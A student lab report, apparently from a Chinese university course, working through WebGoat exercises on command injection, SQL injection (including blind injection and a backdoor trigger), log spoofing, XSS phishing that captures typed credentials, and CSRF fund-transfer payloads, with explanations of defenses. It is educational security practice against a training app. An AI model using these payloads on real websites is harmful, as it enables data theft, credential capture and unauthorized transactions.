2019-2020-2 20175316 盛茂淞 《网络对抗技术》 Exp9 Web安全基础

一.实践原理与说明

实践内容概述

  • 任务一:WebGoat

  • 任务二:SQL注入攻击(Injection Flaws)

    • 命令注入(Command Injection)
    • 数字型注入(Numeric SQL Injection)
    • 日志欺骗(Log Spoofing)
    • SQL 注入(LAB: SQL Injection)
    • Stage 1:字符串型注入(Stage 1: String SQL Injection)
    • Stage 3: 数字型 SQL 注入(Stage 3: Numeric SQL Injection)
    • 数据库后门(Database Backdoors)
    • 数字型盲注入(Blind Numeric SQL Injection)
    • 字符串型盲注入(Blind String SQL Injection)
  • 任务三:XSS攻击

    • XSS 钓鱼(Phishing with XSS)
    • 存储型XSS攻击(Stored XSS Attacks)
    • 反射型XSS攻击(Reflected XSS Attacks)
  • 任务四:CSRF攻击

    • 跨站请求伪造(Cross Site Request Forgery (CSRF))
    • 绕过 CSRF 确认( CSRF Prompt By‐Pass)
    • XSS提升:CSRF Prompt By-Pass
    • CSRF令牌攻击:CSRF Token By-Pass

基础问题回答

1.SQL注入攻击原理,如何防御

  • SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统
  • 如何防御
    • 检查变量数据类型和格式
    • 过滤特殊符号
    • 绑定变量,使用预编译语句

2.XSS攻击的原理,如何防御

  • XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨 大的,是web安全的头号大敌
  • 攻击的条件
    • 需要向web页面注入恶意代码
    • 这些恶意代码能够被浏览器成功的执行
  • 攻击类型
    • XSS反射型攻击,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的
    • XSS存储型攻击,恶意代码被保存到目标网站的服务器中,这种攻击具有较强的稳定性和持久性,比较常见场景是在博客,论坛等社交网站上,但OA系统,和CRM系统上也能看到它身影,比如:某CRM系统的客户投诉功能上存在XSS存储型漏洞,黑客提交了恶意攻击代码,当系统管理员查看投诉信息时恶意代码执行,窃取了客户的资料,然而管理员毫不知情,这就是典型的XSS存储型攻击
  • 如何防御
    • 在表单提交或者url参数传递前,对需要的参数进行过滤
    • 过滤用户输入的 检查用户输入的内容中是否有非法内容。如< >(尖括号)”(引号)‘(单引号)%(百分比符号);(分号)()(括号)&(& 符号)+(加号)等等

3.CSRF攻击原理,如何防御

  • (Cross Site Request Forgery, 跨站域请求伪造)是一种网络的攻击方式,它在 2007 年曾被列为互联网 20 大安全隐患之一,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用也就是人们所知道的钓鱼网站。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性
  • 如何防御
    • 验证 HTTP Referer 字段
    • 在请求地址中添加 token 并验证
    • 在 HTTP 头中自定义属性并验证

二.实验过程

任务一:WebGoat

  • Webgoat是OWASP组织研究出的一个专门进行web漏洞实验的应用品台,这个平台里包含了web中常见的各种漏洞,例如:跨站脚本攻击、sql注入、访问控制、隐藏字段、Cookie等;

  • 下载webgoat-container-7.0.1-war-exec.jar文件

  • 因WebGoat默认使用8080端口,所以开启前先用netstat -tupln | grep 8080查看端口是否被占用,如果被占用,用kill 进程号终止占用8080端口的进程

  • 在含有webgoat-container-7.0.1-war-exec.jar文件的目录下执行java -jar webgoat-container-7.0.1-war-exec.jar

  • 出现INFO: Starting ProtocolHandler ["http-bio-8080"]则开启成功,可以看到占用8080端口,实验过程中不能关闭终端

  • 打开浏览器输入127.0.0.1:8080/WebGoat,使用默认名和密码登录

  • 在Webgoat中,solution是答案,hints是提示。打开界面,可以看到有一连串的课程。
    每完成一项课程就会有一个小对勾

任务二:SQL注入攻击(Injection Flaws)

  • SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。

1.命令注入(Command Injection)

  • 右键点击页面,选择inspect Element审查网页元素对源代码进行修改

  • 在复选框中任意一栏的代码,右键单击后,选择Edit At Html进行修改,添加"&&ifconfig"

  • 点击view,可以看到执行指令后的网络端口使用情况和IP地址。攻击成功!

2.数字型注入(Numeric SQL Injection)

  • 在station字段中注入特征字符,组合成新的SQL语句。如:SELECT * FROM weather_data WHERE station = [station]

  • 未进行攻击前,若选中Columbia,然后点击Go,就会显示Columbia的天气情况:

  • 右键点击页面,选择inspect Element审查网页元素对源代码进行修改

  • 在选中的城市编号Value值中添加or 1=1

  • Step4:系统执行了SELECT * FROM weather_data WHERE station = 101 or 1=1,显示了所有城市的天气,攻击成功!

3.日志欺骗:Log Spoofing

  • 左侧功能栏选中Injection Flaws—>Log Spoofing,在文本框中输入用户名:smith Login Succeeded for username admin,这样用户名后面的信息会在同一行显示,而不是在新的一行。

  • 可以往该应用中注入回车(0D%)和换行符(%0A)。在username 中填入20175316%0d%0aLogin Succeeded for username: admin,以达到修改日志的目的:

  • 这种漏洞可以被攻击者利用以添加恶意脚本,脚本的返回信息管理员能够通过浏览器看到。

4.字符串注入String SQL Injection

  • 字符串SQL注入攻击对任何数据库驱动的站点都构成了严重威胁。 攻击背后的方法很容易学习,所造成的损害可能从相当大的损害到整个系统的损害。 尽管存在这些风险,但Internet上数量惊人的系统仍容易受到这种形式的攻击。它不仅容易引发威胁,而且只要一点常识和前瞻性,就可以轻松地避免这种威胁。

  • 基于SELECT * FROM user_data WHERE last_name = '?'查询语句构造自己的SQL注入字符串,姓名框输入Smith' or 1=1--,执行后可以看到所有人的卡号等信息:

5.数据库后门Database Backdoors

  • 使用字符串SQL注入执行多个SQL语句,使用易受攻击的字段创建两个SQL语句,第一个是系统的,第二个是自己定义的。首先输入101查看现有的信息

  • 可以看到现在的薪水是55000,接下来我们使用101; update employee set salary=100000,执行两条语句,第一条用于查看信息,后面的update则将薪水更新为100000

  • 使用101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20175316@hackme.com'WHERE userid = NEW.userid在每行插入前修改邮箱为指定邮箱:

6.数字型盲注入(Blind Numeric SQL Injection)

  • 服务端页面返回的信息只有两种:帐号有效或无效。因此无法简单地查询到帐号的PIN 数值。尽管如此,我们可以利用系统后台在用的查询语句。查询语句如下:SELECT * FROM user_data WHERE userid=accountNumber;

  • 使用AND函数,输入查询语句101 AND 1=1 ,因为两个条件都成立,所以页面返回帐号有效

  • 输入查询语句101 AND 1=2,因为第二个条件不成立,所以而页面返回帐号无效

  • 针对查询语句的后半部分构造复杂语句,如:
    101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 )

  • 如果提示无效,则pin值小于5000,使用二分法,最终得出pin的值为2364

7.字符串型盲注入(Blind String SQL Injection)

  • 原理:与数字型盲注入类似,某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。

  • 与数字型盲注入类似,只是将注入的数字换为字符串而已

  • 例如:输入

101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'M' )
  • 取得 pin 字段数值的第一个字母,并判断其是否比字母“M”小
  • SUBSTRING 语法为 SUBSTRING(STRING,START,LENGTH)
  • 同样使用二分法进行测试,最后得到pin字段为Jill

任务三:XSS攻击

  • 跨站脚本攻击是通过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,可以模拟用户当前的操作。这里实验的是一种获取用户名和密码的攻击。

1.XSS 钓鱼(Phishing with XSS)

  • 当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。

  • 将下面这段代码输入到Search输入框中,点击search,结果会出现代码中所指定的绿、红、蓝三块div,并在下方出现了用于欺骗用户的提示语This feature requires account login:和用户名、密码输入框。

<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
 
</div></div>
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>

  • 输入用户名和密码以后点击login按钮提交,可以看到反馈输入的信息:

2.存储型XSS攻击(Stored XSS Attacks)

  • 输入验证是一个很好的方法,尤其是验证那些以后将用做参数的操作系统命令、脚本和数据库查询的输入。尤为重要的是,这些内容将会永久的存放在那里。应当禁止用户创建消息内容。用户的信息被检索时,可能导致其他用户加载一个不良的网页或不良的内容。当一个未经验证的用户的输入作为一个HTTP 响应时,XSS 攻击也可能会发生。在一个反射式XSS 攻击中,攻击者会利用攻击脚本精心制作一个URL 并通过将其发送到其他网站、电子邮件、或其他方式骗取受害者点击它。

  • title中任意输入字符,留言板中输入

<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
 
</div></div>
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
  • 点击submit提交,下方“Message List”中会新增刚输入的Tile名字的链接,点击链接可以看到我们的html已经注入成功,messege部分显示的是绿、红、蓝三色框:

  • 在下方用户名密码处输入,点击提交后,被成功获取用户名和密码:

3.反射型XSS攻击(Reflected XSS Attacks)

  • 我们在访问一个网页的时候,在URL后面加上参数,服务器根据请求的参数值构造不同的HTML返回。value可能出现在返回的HTML(可能是JS,HTML某元素的内容或者属性)中,如果将value改成可以在浏览器中被解释执行的东西,就形成了反射型XSS。别人可能修改这个value值,然后将这个恶意的URL发送给你,当URL地址被打开时,特有的恶意代码参数就会被HTML解析执行。它的特点是非持久化,必须用户点击带有特定参数的链接才能引起。

  • Enter your three digit access code框中输入代码

<script>alert("You've been attacked!!! I'm 20175316~");</script>
  • 点击purse,成功显示警告框,内容为我们script脚本指定的内容:

任务四:CSRF攻击

  • 跨站请求伪造,尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

1.跨站请求伪造:Cross Site Request Forgery (CSRF)

  • 查看页面右侧Parameters中的src和menu值,分别为534和900

  • 在title中输入任何参数,message框中输入

<img src="http://localhost:8080/WebGoat/attack?Screen=534&menu=900&transferFunds=5000" width="1" height="1" />

  • 以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交

    • 这里src值、menu值要根据上一步查看的结果修改,转账数额随便输入,eg:5000
    • 宽高设置成1像素的目的是隐藏该图片
  • 提交后,在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。

2.绕过 CSRF 确认(CSRF Prompt By‐Pass)

  • 跨站点请求伪造(CSRF/XSRF)是一种攻击,它欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令。提示用户确认或取消命令可能听起来像一个解决方案,但如果提示符是可编写脚本的,则可以忽略它。本课展示如何通过发出另一个伪造的请求来绕过这样的提示符。这也适用于一系列提示,例如向导或发出多个不相关的伪造请求。

  • 与上一个题目类似,向包含多个恶意请求的新闻组发送电子邮件:第一个请求用于转移资金,第二个请求用于确认第一个请求触发的提示符。url应该指向攻击servlet,其中包含这个CSRF-prompt-by-pass课程的屏幕、菜单参数和一个额外的参数“transferFunds”,其中包含一个数值“5000”来启动传输,一个字符串值“CONFIRM”来完成传输。您可以从右边的插图中复制课程的参数,创建格式为attack?Screen=XXX&menu=YYY&transferFunds=ZZZ的url。无论谁收到这封电子邮件,并且碰巧在那个时候通过了身份验证,他的资金就会被转移。

  • 同上一个攻击,查看页面下侧Parameters中的src和menu值(534和900),并在title框中输入学号,message框中输入代码:

<iframe src="attack?Screen=534&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=534&menu=900&transferFunds=CONFIRM"> </iframe>
  • 在Message List中生成以Title命名的链接"20175316"
  • 点击进入后,如图攻击成功:

三.过程中遇到的问题及解决方法

问题一

  • 登陆后的界面如下:

  • 从上图可以看到左侧功能栏只有Admin Functions一项,正常的话会有很多,说明jdk没有配置

解决方法:

  • kali一般是装了1.8的,输update-alternatives --config java可以切换jdk版本

  • 我把这个选成2,重新启动wegoat,导航栏已经有了课程选项,方便快捷

四、实践总结

  • 这次的实验内容比较多,但是让我更加直观的体验到了web攻击的威力,平时只是听说这些,真正自己做的时候还是很有乐趣的
posted on 2020-05-31 10:44  20175316  阅读(150)  评论(0编辑  收藏  举报